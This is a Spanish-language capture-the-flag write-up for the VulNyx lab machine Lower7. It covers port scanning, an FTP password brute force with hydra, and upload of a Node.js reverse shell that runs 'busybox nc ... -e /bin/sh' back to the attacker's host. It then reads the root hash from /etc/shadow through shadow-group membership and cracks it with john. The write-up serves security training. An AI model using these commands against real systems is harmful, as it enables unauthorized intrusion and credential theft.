Information

Lower7 es una máquina virtual vulnerable Linux de dificultad baja de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

root@kali:~  nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 12:19 CEST
Nmap scan report for 192.168.1.56
Host is up (0.000077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
3000/tcp open  ppp
root@kali:~  nmap -sVC -p21,3000 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 12:19 CEST
Nmap scan report for 192.168.1.56
Host is up (0.00034s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
3000/tcp open  http    Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8)

Shell (a.clark)

21/TCP (FTP)

En el nmap inicial los scripts NSE no detercaron usuario anonymous habilitado

Me conecto al servicio y enumero en el banner de bienvenida al usuario a.clark

root@kali:~  ftp root@192.168.1.56
Connected to 192.168.1.56.
220 "Hello a.clark, Welcome to your FTP server."
331 Please specify the password.
Password: 

Password Brute Force

En tenencia de un usuario intento con hydra obtener su password y obtengo éxito con dragon

root@kali:~  hydra -t 64 -l a.clark -P /opt/techyou.txt ftp://192.168.1.56
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-14 12:26:49
[DATA] max 64 tasks per 1 server, overall 64 tasks, 10000 login tries (l:1/p:10000), ~157 tries per task
[DATA] attacking ftp://192.168.1.56:21/
[21][ftp] host: 192.168.1.56   login: a.clark   password: dragon

Upload Reverse Shell

En vista que existe un servidor HTTP por el puerto 3000 basado en Node.js subo una reverse shell .js

root@kali:~  cat rev.js 
const { exec } = require('child_process');

module.exports = (req, res) => {
  exec('busybox nc 192.168.1.5 443 -e /bin/sh', (error, stdout) => {
    res.send(`${stdout.trim()}`);
  });
};

root@kali:~  ftp a.clark@192.168.1.56
Connected to 192.168.1.56.
220 "Hello a.clark, Welcome to your FTP server."
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||31432|)
150 Here comes the directory listing.
drwxrwxrwx    2 1000     1000         4096 Oct 13 15:38 .
drwxrwxrwx    2 1000     1000         4096 Oct 13 15:38 ..
226 Directory send OK.
ftp> put rev.js
local: rev.js remote: rev.js
229 Entering Extended Passive Mode (|||54849|)
150 Ok to send data.
100% |********************************************************************************************************************************************|   188        4.26 MiB/s    00:00 ETA
226 Transfer complete.
188 bytes sent in 00:00 (248.77 KiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||51329|)
150 Here comes the directory listing.
drwxrwxrwx    2 1000     1000         4096 Oct 14 12:32 .
drwxrwxrwx    2 1000     1000         4096 Oct 14 12:32 ..
-rw-------    1 1000     1000          188 Oct 14 12:32 rev.js
226 Directory send OK.

3000/TCP (HTTP)

Site

Reverse Shell

Intengo obtener la reverse shell apuntando al archivo subido rev.js

root@kali:~  curl -sX GET "http://192.168.1.56:3000/rev.js"

Obtengo la shell como usuario a.clark

root@kali:~  nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.56] 33236
id ; hostname
uid=1000(a.clark) gid=1000(a.clark) grupos=1000(a.clark),42(shadow)
lower7

Privilege Escalation

Enumeration

Groups

El usuario a.clark forma parte del grupo shadow

Los usuarios miembros del grupo shadow disponen de permisos de lectura sobre el archivo /etc/shadow

a.clark@lower7:~$ id
uid=1000(a.clark) gid=1000(a.clark) grupos=1000(a.clark),42(shadow)
a.clark@lower7:~$ groups
a.clark shadow

Abuse

Obtengo el hash del usuario root en el archivo /etc/shadow

a.clark@lower7:~$ ls -l /etc/shadow
-rw-r----- 1 root shadow 740 oct 13 15:34 /etc/shadow
a.clark@lower7:~$ grep root /etc/shadow
root:$y$j9T$9VFLJjKZix0Ugj9YsoOCS.$z0FVk.1CCNx/YRzEmwjcz6z4oYqa7YD6QyXd52jxyLD:20374:0:99999:7:::

Cracking (Hash)

Con john consigo romper el hash y obtengo el password bassman

El prefijo del hash es $y por lo que es de tipo yescrypt (--format=crypt)

root@kali:~  john --wordlist=/opt/rockyou.txt --format=crypt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bassman          (root)

Me convierto en usuario root con las credenciales obtenidas

a.clark@lower7:~$ su -
Contraseña: 
root@lower7:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
lower7

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@lower7:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
97b*****************************
9f9*****************************

Hasta aquí la resolución de la máquina Lower7.

Happy Hacking!